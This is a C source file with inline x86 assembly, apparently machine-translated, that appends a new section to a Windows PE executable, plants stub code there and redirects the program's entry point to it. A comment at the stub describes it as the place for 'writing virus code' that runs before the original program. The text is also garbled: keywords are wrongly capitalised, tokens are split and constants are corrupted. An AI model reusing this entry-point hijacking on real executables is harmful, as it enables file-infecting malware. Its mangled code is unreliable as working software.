// Add a partition. cpp: defines the entry point for the console application.
//
# Include <windows. h>
# Include <stdio. h>
# Include <WINBASE. h>
Bool openmyfile (char filename []);
Lpvoid addsection (lpvoid imagebase, char sectionname [], DWORD sectionnumber );
DWORD toalign (DWORD sectionnumber, DWORD alignsize); // The second parameter indicates the number of integers.
DWORD addnumber; // The number of bytes in the new section
DWORD vavalue; // Save the VA value of the original entry
Char Chao [max_path] = "messageboxa getproaddress loadlibrarya user32.dll kernel32.dll ";
DWORD address; // Save the getmodulehandl address.
Int main (INT argc, char * argv [])
{
Address = (DWORD) getprocaddress (getmodulehandle ("kernel32.dll"), "getmodulehandlea ");
Addnumber = 100;
Char filename [] = "text.exe"; // program to be tested
If (! Openmyfile (filename ))
Printf ("failed !!! /N ");
Return 0;
}
Bool openmyfile (char filename [])
{
Handle hfile;
Hfile = createfile (filename, // open the file
Generic_read | generic_write,
File_pai_read | file_pai_write,
Null, open_existing,
File_attribute_normal,
Null );
If (! Hfile)
Return false;
DWORD filesize = getfilesize (hfile, null); // get the file size
Handle hmap;
Hmap = createfilemapping (hfile, null,
Page_readwrite, 0,
Filesize + 0x2000,0 );
If (! Hmap)
Return false;
Lpvoid imagebase;
Imagebase = mapviewoffile (hmap,
File_map_all_access,
0, 0 );
If (! Imagebase)
Return false;
// Determine whether the PE file is valid
Pimage_dos_header PDOs;
PDOS = (pimage_dos_header) imagebase;
If ('zm '! = PDOS-> e_magic)
Return false;
Pimage_nt_headers PNT;
PNT = (pimage_nt_headers) (DWORD) imagebase + PDOS-> e_lfanew );
If ('ep '! = PNT-> signature)
Return false;
Lpvoid newsectionname; // point to the section name
Newsectionname = addsection (imagebase, ". Fan", addnumber );
DWORD Len = strlen (Chao); // enter the coyp character to be used in the new section
_ ASM
{
MoV ESI, pnt
MoV EBX, dword ptr [ESI + 28 h] // entry RVA Value
Add EBX, dword ptr [ESI + 34 h] // Add it to the image Value
MoV vavalue, EBX
MoV eax, newsectionname
Push dword ptr [eax + 0ch] // obtain the virtual RVA of the new Section
Pop dword ptr [ESI + 28 h] // modify it to the new entry
MoV ECx, dword ptr [ESI + 28 h] // Add the entry value to the string length
Add ECx, Len // Add the character Length
INC ECx
Add ECx, 4 // Add the original entry RVA Value
Add ECx, 4 // Add four bytes of the getmodulhand address
MoV dword ptr [ESI + 28 h], ECx
Lea ESI, Chao
MoV EDI, dword ptr [eax + 14 H]
Add EDI, imagebase
MoV ECx, Len
INC ECx
ClD
Rep movs byte PTR [EDI], byte PTR [esi]
Lea ESI, address // address for writing getmodulehandle
MoV ECx, 4
ClD
Rep movs byte PTR [EDI], byte PTR [esi]
Lea ESI, vavalue // After writing the original entry RVA value to the string
MoV ECx, 4
ClD
Rep movs byte PTR [EDI], byte PTR [esi]
Lea ESI, Fan // complete some tasks before entering the original portal, such as writing virus code
MoV ECx, 30 h
ClD
Rep movs byte PTR [EDI], byte PTR [esi]
}
Unmapviewoffile (imagebase );
Closehandle (hmap );
Closehandle (hfile );
Return true;
Fan:
// Enter the code to be executed before the program is executed.
_ ASM
{
Call Zhi // five bytes
Zhi: Pop EBX
Sub EBX, 5 // at this time, EBX points to the call Zhi command
Sub EBX, 4 // at this time, EBX points to the RVA value that stores the original entry
Push EBX
Push EBP
MoV EBP, ESP
Sub ESP, 10 h // store the data to be used
Sub EBX, 4
MoV ESI, EBX
Sub EBX, 0dh
Push EBX // at this time, EBX points to the Kernel32 DLL string
Call dword ptr [esi] // obtain the Kernel32 base address
Add ESP, 10 h // stack balance
Pop EBP
Pop EBX
Jmp dword ptr [EBX] // jump back to the original program Portal
}
}
Lpvoid addsection (lpvoid imagebase, char sectionname [], DWORD sectionnumber)
{
Pimage_nt_headers PNT;
DWORD filealign; // file alignment size
DWORD meryalign; // memory alignment size
Lpvoid oldsection; // point to the last section
Lpvoid newsection; // point to the new section table
_ ASM
{
MoV ESI, imagebase
Add ESI, dword ptr [ESI + 3ch]
MoV PNT, ESI
MoV CX, word PTR [ESI + 6]
Movzx ECx, CX
INC word PTR [ESI + 6] // increase the number of segments and add one
Push dword ptr [ESI + 3ch]
Pop filealign
Push dword ptr [ESI + 38 H]
Pop meryalign
Add ESI, 0f8h // Let ESI point to the first address of the Table Section
MoV eax, 28 h
MoV EBX, ECx
Imul EBX
Add ESI, eax // Let ESI point to the end address of the table
MoV newsection, ESI
Sub ESI, 28 h
MoV oldsection, ESI
}
// The name of the new section is as follows:
Int I = 0;
Char * news = (char *) newsection;
While (sectionname [I]! = '/0 ')
{
* News = sectionname [I];
++ News;
++ I;
}
// Add other information for the new Section
_ ASM
{
MoV ESI, newsection
Push 0e00000e0h
Pop dword ptr [ESI + 24 h]
Push sectionnumber // memory size of the new Section
Pop dword ptr [ESI + 8 h]
}
DWORD newfilesize = toalign (sectionnumber, filealign); // the size of the new section to get the file size.
_ ASM mov ESI, newsection
_ ASM mov eax, newfilesize
_ ASM mov dword ptr [ESI + 10 h], eax // write the size of the new section file to the Section Information
// The next step is to write the file offset and memory RVA value of the new Section. The value is calculated based on the information of the last section.
_ ASM
{
MoV ESI, oldsection
MoV EBX, dword ptr [ESI + 08 h] // virtual size
Add EBX, dword ptr [ESI + 0ch] // virtual offset
MoV ECx, dword ptr [ESI + 10 h] // File Size
Add ECx, dword ptr [ESI + 14 h] // file offset
Push filealign // get the object
Push ECx
Call toalign
Add ESP, 8
MoV ESI, newsection
MoV dword ptr [ESI + 14 h], eax
Push meryalign
Push EBX
Call toalign
Add ESP, 8
MoV dword ptr [ESI + 0ch], eax
// Add the RVA value of the new section to the virtual size to get the new image size.
Add eax, dword ptr [ESI + 08 h]
Push meryalign
Push eax
Call toalign
Add ESP, 8
MoV EBX, pnt
MoV dword ptr [EBX + 50 H], eax // corrected the image size
// The first sectionnumber byte of the new section is cleared.
Push dword ptr [ESI + 14 H]
Pop EDI
Add EDI, imagebase
MoV ECx, sectionnumber // set the sectionnumber byte of the new section data to zero
XOR eax, eax
ClD
Rep STOs byte PTR [EDI]
MoV eax, ESI
}
}
// Segment integer
DWORD toalign (DWORD sectionnumber, DWORD alignsize)
{
DWORD size = sectionnumber % alignsize; // return the remainder
DWORD size2 = sectionnumber/alignsize; // integer
If (size = 0) // if the remainder is 0, it is an integer multiple of the remainder.
Return sectionnumber;
Else
Return (++ size2) * alignsize;
}